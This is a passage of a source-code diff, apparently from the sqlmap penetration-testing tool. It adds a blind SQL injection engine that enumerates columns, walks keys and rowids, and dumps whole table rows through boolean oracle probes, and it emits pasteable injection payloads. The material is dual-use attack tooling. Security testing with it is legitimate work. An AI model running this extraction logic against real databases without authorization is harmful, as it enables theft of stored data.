probed, none worked + return None + + def columns(self, table, schema=None, limit=50): + """Enumerate a table's column names (keyset), optionally scoped to `schema` + (so identically-named tables in different schemas don't merge columns). Falls + back to brute-forcing common column names when no column catalog is usable.""" + names = None + spec = _COLUMN_SPECS.get(self.dialect.catalog) + if spec and self._canPage: + col, source, wheretmpl = spec[0], spec[1], spec[2] + ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column + schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column + lit = self.buildLiteral(table) + filt = (wheretmpl % lit) if wheretmpl else "" + if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema) + filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema)) + elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter + filt += " AND table_schema=%s" % self.buildLiteral(schema) + elif schema is not None and "TABLE_NAME" in (wheretmpl or ""): + filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema) + where = (" WHERE %s" % filt) if filt else "" + # pragma_table_info(%s) takes the table in the source itself + source = source % lit if "%s" in source else source + names = self._keysetWalk(col, source, where, limit) + if names and ordcol: + names = self._orderByOrdinal(names, col, source, filt, ordcol) + if not names: + names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names + return names + + def _orderByOrdinal(self, names, namecol, source, filt, ordcol): + # reorder the enumerated columns by their catalog ordinal so a dump matches the + # table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per + # column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes. + keyed = [] + for n in names: + cond = "%s=%s" % (namecol, self.buildLiteral(n)) + if filt: + cond = "%s AND %s" % (filt, cond) + try: + o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond)) + except (OracleUndecided, OverflowError): + o = None + keyed.append((o if o is not None else 1 << 30, n)) + return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))] + + def _discoverKey(self, table, schema=None): + # a primary/unique key column, preferred over a physical rowid. keyset needs + # MIN() over it and a `> prev` bound, both of which a key column supports. + spec = _KEY_SPECS.get(self.dialect.catalog) + if not spec: + return None + source, tcol, ncol, extra = spec + filt = "%s=%s" % (tcol, self.buildLiteral(table)) + if schema is not None: + filt += " AND table_schema=%s" % self.buildLiteral(schema) + if extra: + filt += " AND %s" % extra + # take the alphabetically-first key column (deterministic); a compound key + # still yields a usable ordering column for the walk + keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt) + # discovering the key COLUMN NAME is setup, not data - run it inside the probe phase so a + # catalog lacking this key structure degrades to "no key" (not fatal) AND so the name does + # not surface on the live "retrieved:" feed (it is a column name, not a dumped entry). + with self._probePhase(): + if self._ask("%s IS NOT NULL" % keyexpr): + res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value + if res.exact and res.value: # (a case-ambiguous name could mis-target) + return res.value + return None + + def columnType(self, expr): + """Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED + engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column + errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0 + so SUM succeeds - there the hint is unreliable and returns 'unknown' when it + can't tell. Not a substitute for reading the catalog's declared type.""" + sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr)) + if not sums: + return "text" # SUM errored -> definitely not numeric + # SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a + # cheap non-digit check on the first char (via the discovered substring) + try: + one = self._sub(self._resolveText(expr), 1, 1) + if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one): + return "numeric" + except Exception: + pass + return "unknown" + + def _classifyUnit(self, keyexpr, qtable): + # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text + # (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or + # decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5 + # both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort: + # - strict engines: `text = ` ERRORS -> text (probe phase reads False) + # - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text + # - a genuine integer N round-trips `expr = N` -> int + # all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'. + q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable) + if self._comparator == "membership": + return "text" # no ordered numeric compare -> literal-bound text + with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False + if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)): + return "text" # not comparable as a number (or NULL) + try: + n = self.extractInteger(q) # signed, via the discovered comparator + except (OracleUndecided, OverflowError): + return "text" + # 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts + # as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or + # '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts + # with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`). + if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q): + return "int" + return "text" + + def _looksNumeric(self, expr): + # first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter). + # rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't + # refute -> keep the numeric verdict (never break a real int on a substring-less floor). + if self.dialect.substring is None: + return True + try: + one = self._sub(self._resolveText(expr), 1, 1) + return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one) + except OracleUndecided: + return True + + def _discoverRowid(self, qtable): + # find a MIN-aggregatable physical row identifier for the (already-quoted) + # table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text). + # each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL, + # ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump + with self._probePhase(): + for name, tmpl, _unit in _ROWID: + rid = tmpl % qtable if "%s" in tmpl else tmpl + if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)): + continue + unit = self._classifyUnit(rid, qtable) + # a physical row-id used as a keyset must be a sane NON-NEGATIVE int; + # Informix's `rowid` reads as a bogus negative here -> reject it and fall + # through to the value-keyset walk rather than feed extractInteger garbage + if unit == "int" and self._comparator == "gt" and \ + not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)): + continue + return Cap(name, rid, unit=unit) + return None + + def _keyIsUnique(self, kexpr, qtable, total=None): + # a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev` + # paging silently DROPS rows: a composite key's first column repeats (skipping the + # shared-value rows), and NULL keys sort outside the walk. Verified against the DATA + # (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total - + # so it holds regardless of how the constraint catalog was joined. + try: + if total is None: + total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable)) + except (OracleUndecided, OverflowError): + return False + return total is not None and distinct is not None and total == distinct + + def _walkKey(self, qtable, table, schema, total=None): + # ordering key, best-first: primary/unique key -> physical row-id -> value. + # returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset + # comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral). + key = self._discoverKey(table, schema) + if key: + kexpr = self.quoteIdent(key) + if self._keyIsUnique(kexpr, qtable, total): + return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral + self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key) + rid = self._discoverRowid(qtable) + if rid is not None: + boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral + return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn + return None, None, "value", self.buildLiteral + + def _rowPayload(self, cols): + # one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist, + # each token embeds an INDEPENDENT character-length witness and a terminal marker: + # V:; (value) N; (SQL NULL) + # so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a + # token whose decoded char count != the declared source length, or whose ';' is missing). + # Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a + # DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn / + # cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but + # the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row. + if not self._ensureHexfn() or not self.dialect.concat: + return None, False # can't frame a whole row -> caller scavenges cell-by-cell + self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast) + if not self._rowLenFramed: + self.dialect.notes.append("row framing without a length witness (no length fn/cast) - " + "a capped hex/concat could shorten a cell undetected") + parts = [] + for c in cols: + qc = self.quoteIdent(c) # column names are identifiers, not raw SQL + # text-cast before hex so a numeric/date column yields its TEXT form, not + # DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001) + text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc + hexed = self.dialect.hexfn[1].format(expr=text) + if self._rowLenFramed: + lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text + body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"]) + parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body)) + else: + marked = self.dialect.concat[1].format(a="'V'", b=hexed) + parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked)) + if self._rowLenFramed: + return self._concatMany(parts), True # tokens self-terminate with ';' + interleaved = [parts[0]] + for p in parts[1:]: + interleaved.append("','") # the ',' row-token delimiter + interleaved.append(p) + return self._concatMany(interleaved), True # flat when concat is variadic + + def _cellRow(self, qtable, cols, where): + # SCAVENGER row read: pull each column on its own. A single value needs no comma/ + # marker framing (so no concat) and its NULL is detected directly (so no hex 'N' + # sentinel) - this is how a dump still works on a back-end that can neither + # concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves. + row = [] + for c in cols: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where)) + if not res.complete: + return None, False + row.append(res.value) + return row, True + + def _splitRow(self, data, ncols): + # returns (row, valid); a malformed token count/marker/length means invalid, never + # a silently padded/truncated plausible row. + # framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset + # (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so + # use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes). + if data is None: + return None, False + # EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now + # the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness + # check below consumes, so decode and integrity never disagree. + enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + if getattr(self, "_rowLenFramed", False): + # V:; / N; -> every token MUST carry its terminal ';' and (for a value) + # decode to EXACTLY the declared source char length; a capped hex/concat fails one. + if not data.endswith(";"): # a truncated final token dropped its terminator + return None, False + toks = data.split(";") + if toks and toks[-1] == "": + toks = toks[:-1] # drop the trailing terminator + if len(toks) != ncols: + return None, False # a truncated final token loses its ';' -> count off + vals = [] + for t in toks: + if t == "N": + vals.append(None) + continue + if not t.startswith("V") or ":" not in t: + return None, False + lenpart, _, hexpart = t[1:].partition(":") + if not lenpart.isdigit(): + return None, False + v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc) + if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source + return None, False + vals.append(v) + return vals, True + toks = data.split(",") # plain grammar (no length witness available) + if len(toks) != ncols: + return None, False + vals = [] + for t in toks: + if t == "N": + vals.append(None) + elif t == "V": + vals.append("") + elif t.startswith("V"): + v = self._decodeHexToken(t[1:], enc) + if v is None: + return None, False + vals.append(v) + else: + return None, False + return vals, True + + def dump(self, table, columns=None, schema=None, limit=10): + """Extract actual ROW DATA. Table/column names are treated as quoted + IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked + by a primary/unique KEY when discoverable, else a physical row-id, else the + row's own value (distinct-only); each row is one hex-framed, NULL-preserving, + text-cast extraction. Completeness is checked against COUNT(*). Returns + {columns, rows, complete, keyed_by}.""" + self._ensureQuoting(table) + qtable = self.qualify(table, schema) + cols = columns or self.columns(table, schema) + if not cols: + return None + payload, framed = self._rowPayload(cols) + if not framed: # no hex/concat to frame a whole row + self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table) + try: + expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure + expected = None + if expected == 0: + return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None} + keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected) + rows, ok = [], True + + def readrow(where): + # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The + # framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload), + # so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or + # errored framed read degrades to cell-by-cell (which reads each cell at its true length, + # so it cannot be cast-truncated) rather than dropping the row. + if framed: + try: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES) + if res.complete: + row, ok2 = self._splitRow(res.value, len(cols)) + if ok2: + return row, ok2 + except OracleUndecided: + pass # framed whole-row read errored -> cell-by-cell + return self._cellRow(qtable, cols, where) + + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe + # (permission or charset wall) stops with whatever rows were recovered + try: + if keyexpr is not None: # key / row-id keyset (preferred) + prev, keys = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where) + if unit == "int": + key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows + else: + res = self.extractResult(ke) # never page on a partial/unverified key bound + if res.is_null: # MIN over empty set -> genuinely done + break + if not res.complete: # incomplete key can't be a reliable bound + ok = False + self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table) + break + key = res.value # '' is a VALID (single, unique) key row, not a terminator + if key is None or key == prev: # None = done; == prev = paging stuck (safety) + break + bound = key if unit == "int" else boundfn(key) + row, valid = readrow("%s=%s" % (keyexpr, bound)) + if not valid: # a truncated/invalid cell != complete row + ok = False + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + prev = key + keys.append(key) # for order-free NOT IN() paging + else: # value keyset (distinct rows only) + ok = False + # ACCURATE loss report: a framed page-key is the whole-row tuple, so only + # fully-identical rows collapse; a bare first-column page-key collapses every + # row that merely shares column 1 (much lossier) - say which, don't blur it + # also: MIN() never selects a NULL page-key, so rows with a NULL in the page + # column are unreachable by this walk - call that out too (not just collapse) + loss = "identical rows collapse" if framed else \ + "rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0] + self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss)) + pageexpr = payload if framed else self.quoteIdent(cols[0]) + # the framed page-key is text; a bare first-column page-key may be numeric, + # and a numeric column MUST be read via extractInteger + a numeric bound - a + # text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage + # bound ("id=' '") that matches no row (dump silently returns 0 entries) + pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable) + prev, seen = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + if framed: + res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES) + pv, valid = res.value, res.complete + row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False) + valid = valid and ok2 + elif pageunit == "int": # numeric first column: read + bound as a number + pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False) + else: # page on the first (text) column, read cells under it + kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + if kr.is_null: # MIN over empty set -> done + break + if not kr.complete: # incomplete page bound -> can't page reliably, stop + break + pv = kr.value # '' is a valid first-column value, not a terminator + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) + if pv is None or pv == prev or not valid: + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL + break + prev = pv + seen.append(pv) # for order-free NOT IN() paging + except (OracleUndecided, OverflowError): + # degrade, never crash: an undecided oracle (permission/charset wall) or a + # bogus key that overflows extractInteger stops the walk with partial rows + self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table) + ok = False + # TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly); + # `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can + # cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact + # primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it. + complete = ok and expected is not None and len(rows) == expected + exact = bool(self._byteFaithful()) + # EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the + # discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN - + # using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is + # NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact. + effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + note = None + if rows and not exact: + note = ("dump %s: values recovered via a collation-dependent comparison " + "(no byte-exact primitive) - case/accents may be inexact" % table) + elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows): + # bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII + # cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact + exact = False + note = ("dump %s: non-ASCII values decoded under an undetermined character set " + "- text may be inexact" % table) + elif exact and self.dialect.textcast and not self._castPreservesAccents(): + # bytes are faithful, but they are the output of a text cast NOT proven to preserve a + # canary accented char -> a narrowing cast may have folded unrepresentable chars to "?" + # at equal length (invisible to the length witness AND to a non-ASCII scan of the + # ALREADY-folded output) -> content is not provably source-exact + exact = False + note = ("dump %s: values extracted through a text cast not proven to preserve accented " + "characters (possible lossy/narrowing cast) - content is not provably " + "source-exact" % table) + if note: + self.dialect.notes.append(note) + return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by} + + @staticmethod + def _hasNonAscii(rows): + return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row + if isinstance(v, type(u""))) + + def _castPreservesAccents(self): + # The framed dump routes every column through the discovered text cast. A NARROWING cast + # (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute -> + # "?") WITHOUT changing the character count, so neither the length witness nor the hex + # decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the + # cast preserves a canary accented char (built server-side from its code point, so no raw + # byte crosses the transport): if CAST(canary)=canary holds, representable accents survive; + # if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side + # equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached; + # conservative (False) when a cast is applied but the canary can't be built/decided. + if self._castPreserves is None: + if not self.dialect.textcast: + self._castPreserves = True # no cast applied -> nothing to fold + elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"): + # the cast targets the (Unicode) connection/DB charset, which represents EVERY code + # point -> no source char can fold. This is a PROOF (not a per-value guess): a + # utf-8/16 target cannot substitute an unrepresentable char. + self._castPreserves = True + else: + # an unproven cast must NOT certify source identity: default False, promote only on + # a successful preservation probe. The canary needs a TRUE-codepoint constructor - a + # byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it + # cannot probe a fold; without one the cast stays unproven (conservatively inexact). + self._castPreserves = False + cf = self._codeCharTmpl() + if cf and self.dialect.length: + euro = cf.format(code=0x20AC) + ch = cf.format(code=0xE9) # "e"-acute + try: + with self._probePhase(): + if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint + self._castPreserves = self._ask( + "(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch)) + except OracleUndecided: + pass + return self._castPreserves + + def poc(self, expr, position=1, gt=64): + """Emit a clean, pasteable boolean payload for ONE probe (the exploitation + primitive), so a tester can drop it into Burp without re-running discovery.""" + one = self._sub(expr, position, 1) + if self.dialect.compare == "code" and self.dialect.charcode: + # numeric code comparison -> render through the DISCOVERED comparator, so the PoC + # works on the very target where '>' was blocked (BETWEEN / operator-free rung) + code = self.dialect.charcode[1].format(expr=one) + if self._comparator == "gt": + return "%s>%d" % (code, gt) + if self._comparator == "between": + return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62) + if self._cmpTemplate is not None: + return self._cmpTemplate.format(expr=code, n=gt) + raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form") + # hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was + # blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes + # -> refuse rather than emit a predicate the target already rejected. + if self._comparator != "gt": + raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare) + if self.dialect.compare == "hex" and self.dialect.hexfn: + return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt) + if self.dialect.compare == "collation" and self.dialect.binwrap: + w = self.dialect.binwrap[1] + return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt)))) + if self.dialect.compare in ("equality", "equality-ci"): + # equality mode was chosen BECAUSE ordering isn't trustworthy - don't + # fabricate a `>` predicate the target's collation may not honour + raise RuntimeError("ordered PoC unavailable in equality-only compare mode") + return "%s>%s" % (one, self._lit(chr(gt))) + + def strategy(self): + """Freeze the discovered dialect into an immutable InferenceStrategy - the + hand-off artifact for a host inference engine (see hostExtract). Ensures the + hex fn and quoting/backslash flags are resolved before freezing.""" + d = self.dialect + if not self._discovered: + self.discover() + self._ensureHexfn() + self._lit("x") # resolve backslash-escape flag + return InferenceStrategy( + product=d.product or d.family, family=d.family, compare_mode=d.compare, + catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes), + substring=(d.substring[1] if d.substring else None), + index_base=(d.substring.get("index_base", 1) if d.substring else 1), + length=(d.length[1] if d.length else None), + charcode=(d.charcode[1] if d.charcode else None), + charcode_sem=(d.charcode.get("semantics") if d.charcode else None), + hexfn=(d.hexfn[1] if d.hexfn else None), + binwrap=(d.binwrap[1] if d.binwrap else None), + charfrom=(d.charfrom[1] if d.charfrom else None), + concat=(d.concat[1] if d.concat else None), + identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None), + backslash=bool(self._backslashEscape), + comparator=self._comparator, cmp_template=self._cmpTemplate, + # carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict + # (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is) + exact_witness=("hex" if d.hexfn is not None else + "binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else + "codepoint" if (d.compare == "code" and d.charcode is not None + and d.charcode.get("semantics") == "codepoint") else None)) + + def enumerateBulk(self, kind, maxchars=4096, encoding=None): + """One-shot full dump: aggregate the whole column into one delimited string + and extract it once. When a hex function exists each value is HEX-encoded + before aggregation, so the ',' delimiter is unambiguous (a comma can't occur + in a hex token) and any charset survives; otherwise raw values are joined + (comma-ambiguous, noted). Completeness is checked against an independent + COUNT(DISTINCT). Returns a BulkResult (list-like).""" + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind) + # independent COUNT FIRST - so a single empty-string row isn't mistaken for + # an empty catalog (the aggregate of one '' can look like no rows) + try: + expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where)) + except OverflowError: # huge count -> unknown, not a failure + expected = None + if expected == 0: + return BulkResult([], expected=0, complete=True) + if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat + self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind) + return None + # frame each value as V; - 'V' distinguishes an empty string from a NULL + # aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet + # and the ',' separator) proves the token is WHOLE: a server-side aggregate output + # limit truncates the FINAL token, dropping its ';', so the truncated token is caught + # instead of a shorter-but-still-valid-hex value silently counting as one item. + encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + # frame each value as V:; when a length fn exists: the ';' catches aggregate + # truncation (final token loses it) AND the independent catches a capped/lossy HEX + # that shortened the VALUE (decoded chars != declared) - which the terminal marker alone + # (round 5) missed because a shortened even-length hex is still valid+terminated. + lenframed = bool(self.dialect.length and self.dialect.textcast) + if lenframed: + lenstr = self.dialect.textcast[1].format(expr=self._len(col)) + aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"]) + else: + aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"]) + if self.dialect.bulkAgg is None: + self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where) + if not self.dialect.bulkAgg: + return None + agg = self.dialect.bulkAgg[1].format(col=aggcol) + res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars) + joined = res.value + if joined is None: + return BulkResult([], expected=expected, complete=False) + tokens = joined.split(",") + if res.truncated and tokens: # last token may be partial + tokens = tokens[:-1] + names, seen, aggtruncated = [], set(), False + for t in tokens: + if not (t.startswith("V") and t.endswith(";")): # missing terminal marker + aggtruncated = True # aggregate truncated this token -> drop, flag + continue + body = t[1:-1] # strip 'V' prefix and ';' terminator + declared = None + if lenframed: + lenpart, sep, hexpart = body.partition(":") + if sep != ":" or not lenpart.isdigit(): + aggtruncated = True # malformed length prefix -> truncated token + continue + declared, body = int(lenpart), hexpart + v = self._decodeHexToken(body, encoding) + if v is not None and (declared is None or len(v) == declared): # independent length witness + if v not in seen: # dedupe (non-unique columns repeat) + seen.add(v) + names.append(v) + elif v is not None: # decoded but length mismatch -> a capped hex shortened it + aggtruncated = True + complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected + if aggtruncated: + self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind) + elif expected is not None and len(names) != expected: + self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected)) + return BulkResult(names, expected=expected, complete=complete) + + def _discoverBulkAgg(self, col, src, where): + for name, tmpl in _BULK_AGG: + agg = tmpl.format(col=col) + if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)): + return Cap(name, tmpl) + return None diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py new file mode 100644 index 00000000000..5da4a189a69 --- /dev/null +++ b/extra/esperanto/extraction.py @@ -0,0 +1,830 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import binascii + +from .atlas import _FREQ_ORDER +from .atlas import _hardWarnings +from .atlas import _HEX_Q_ENCODINGS +from .atlas import _HEXDIGITS +from .atlas import _HEXFN +from .atlas import _isSingleUnicodeScalar +from .atlas import _MAX_HEX_CHAR_NIBBLES +from .atlas import _native +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _SIMILAR_META +from .atlas import _UNICODE_MAX +from .atlas import _unhexlify +from .atlas import _unichr +from .records import Cap +from .records import ExtractResult +from .records import NumericOutOfRange +from .records import OracleUndecided + + +class _Extraction(object): + """_Extraction + + turn the discovered dialect into VALUES: length, char reading, literals, hex, + the public extract*/read* API, and the LIKE pattern-match floor.""" + + def _charExists(self, expr, pos): + # is there a real character at 1-based `pos`? derived from the substring's + # measured end behavior - the basis for length when no length fn exists. + one = self._sub(expr, pos, 1) + if self.dialect.substring.get("beyond_end") == "null-or-error": + return self._ask("%s IS NOT NULL" % one) + return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one) + + def _measureLengthSub(self, expr, ceiling): + # length via substring: find the largest position that still holds a char. + # mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char + # exists at N+1), for backends with substring but no length fn. + if not self._charExists(expr, 1): + return (None if self._ask("(%s) IS NULL" % expr) else 0), False + if self._charExists(expr, ceiling + 1): + return ceiling, True + low, high = 1, min(8, ceiling) + while high < ceiling and self._charExists(expr, high + 1): + low = high + 1 + high = min(high * 2, ceiling) + while low < high: + mid = (low + high) // 2 + if self._charExists(expr, mid + 1): + low = mid + 1 + else: + high = mid + return low, False + + def _hasChars(self, expr): + # non-empty existence check that works with either a length fn or substring + if self.dialect.length is not None: + lexpr = self._len(expr) + return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr) + if self.dialect.substring is not None: + return self._charExists(expr, 1) + return False + + def _lenEquals(self, expr, n): + # exact-length corroboration used in discovery, length-fn or substring-derived + if self.dialect.length is not None: + return self._ask("%s=%d" % (self._len(expr), n)) + if self.dialect.substring is not None: + return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n + return False + + def _measureLength(self, expr, ceiling=None): + """Return (length, truncated) - no shared per-call state, and a separate + `ceiling` so hex/byte pulls can be capped independently of maxlen.""" + ceiling = self.maxlen if ceiling is None else ceiling + if self.dialect.length is None: + return 